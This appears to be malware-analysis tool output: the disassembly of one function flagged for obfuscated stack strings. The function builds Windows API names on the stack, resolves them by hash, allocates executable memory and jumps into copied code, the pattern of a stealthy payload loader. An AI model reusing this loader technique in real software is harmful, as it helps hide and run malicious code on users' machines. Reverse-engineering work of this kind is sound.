Function at 0x40228e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ecx
push esi
push edi
enter 0x80, 0
push eax
sub ebp, 0xee
mov edi, edx
mov esi, ebx
mov eax, dword [ebx + 0xc]
mov edx, 0xb525761
call fcn.004026d4
mov ebx, eax
call fcn.004026e9
mov edx, 0xe7aa2d3
mov dword [esi + 0x60], eax
mov eax, ebx
call fcn.004026e9
mov dword [esi + 0x64], eax
xor eax, eax
mov dword [ebp + 0x7a], eax
lea eax, [ebp + 0x6e]
mov dword [ebp + 0x6e], 0x6e72656b
push eax
mov dword [ebp + 0x72], 0x32336c65
mov dword [ebp + 0x76], 0x6c6c642e
call dword [esi + 0x60]
mov ebx, eax
xor eax, eax
mov dword [ebp + 0x7a], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x64616f4c
push ebx
mov dword [ebp + 0x72], 0x7262694c
mov dword [ebp + 0x76], 0x41797261
call dword [esi + 0x64]
mov dword [esi + 0x60], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x50746547
mov dword [ebp + 0x72], 0x41636f72
push ebx
mov dword [ebp + 0x76], 0x65726464
mov dword [ebp + 0x7a], 0x7373
call dword [esi + 0x64]
mov dword [esi + 0x64], eax
xor eax, eax
mov dword [ebp + 0x7a], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x74726956
push ebx
mov dword [ebp + 0x72], 0x416c6175
mov dword [ebp + 0x76], 0x636f6c6c
call dword [esi + 0x64]
mov dword [esi + 0x68], eax
xor eax, eax
mov dword [ebp + 0x7a], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x61427349
push ebx
mov dword [ebp + 0x72], 0x61655264
mov dword [ebp + 0x76], 0x72745064
call dword [esi + 0x64]
mov dword [esi + 0x5c], eax
mov dword [ebp + 0x6e], 0x74726956
mov dword [ebp + 0x72], 0x506c6175
lea eax, [ebp + 0x6e]
push eax
push ebx
mov dword [ebp + 0x76], 0x65746f72
mov dword [ebp + 0x7a], 0x7463
call dword [esi + 0x64]
mov dword [esi + 0x58], eax
lea eax, [ebp + 0x6e]
push eax
push ebx
mov dword [ebp + 0x6e], 0x65656c53
mov dword [ebp + 0x72], pe_nt_image_headers32
call dword [esi + 0x64]
mov dword [esi + 0x6c], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x616d6e55
mov dword [ebp + 0x72], 0x65695670
push ebx
mov dword [ebp + 0x76], 0x46664f77
mov dword [ebp + 0x7a], 0x656c69
call dword [esi + 0x64]
mov dword [esi + 0x70], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x74726956
push ebx
mov dword [ebp + 0x72], 0x466c6175
mov dword [ebp + 0x76], 0x656572
call dword [esi + 0x64]
mov dword [esi + 0x74], eax
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x4d746547
mov dword [ebp + 0x72], 0x6c75646f
push ebx
mov dword [ebp + 0x76], 0x6e614865
mov dword [ebp + 0x7a], 0x41656c64
call dword [esi + 0x64]
mov dword [esi + 0x78], eax
lea eax, [ebp + 0x6e]
push eax
mov dword [ebp + 0x6e], 0x74697845
push ebx
mov dword [ebp + 0x72], 0x636f7250
mov dword [ebp + 0x76], 0x737365
call dword [esi + 0x64]
mov dword [esi + 0x7c], eax
cmp dword [esi], 0
jne 0x402465
mov eax, dword [ebp + 0x6a]
mov ebx, esi
mov edx, edi
call fcn.0040249c
jmp 0x402491
push 0x40
mov ebx, dword [esi + 8]
push 0x3000
sub ebx, dword [esi + 4]
push ebx
push 0
call dword [esi + 0x68]
mov edx, dword [esi + 4]
mov ecx, eax
call fcn.004026c1
mov eax, dword [ebp + 0x6a]
mov ebx, esi
add ecx, dword [esi + 0xc]
mov edx, edi
sub ecx, dword [esi + 4]
call ecx
lea esp, [ebp + 0xee]
pop ebp
pop edi
pop esi
pop ecx
ret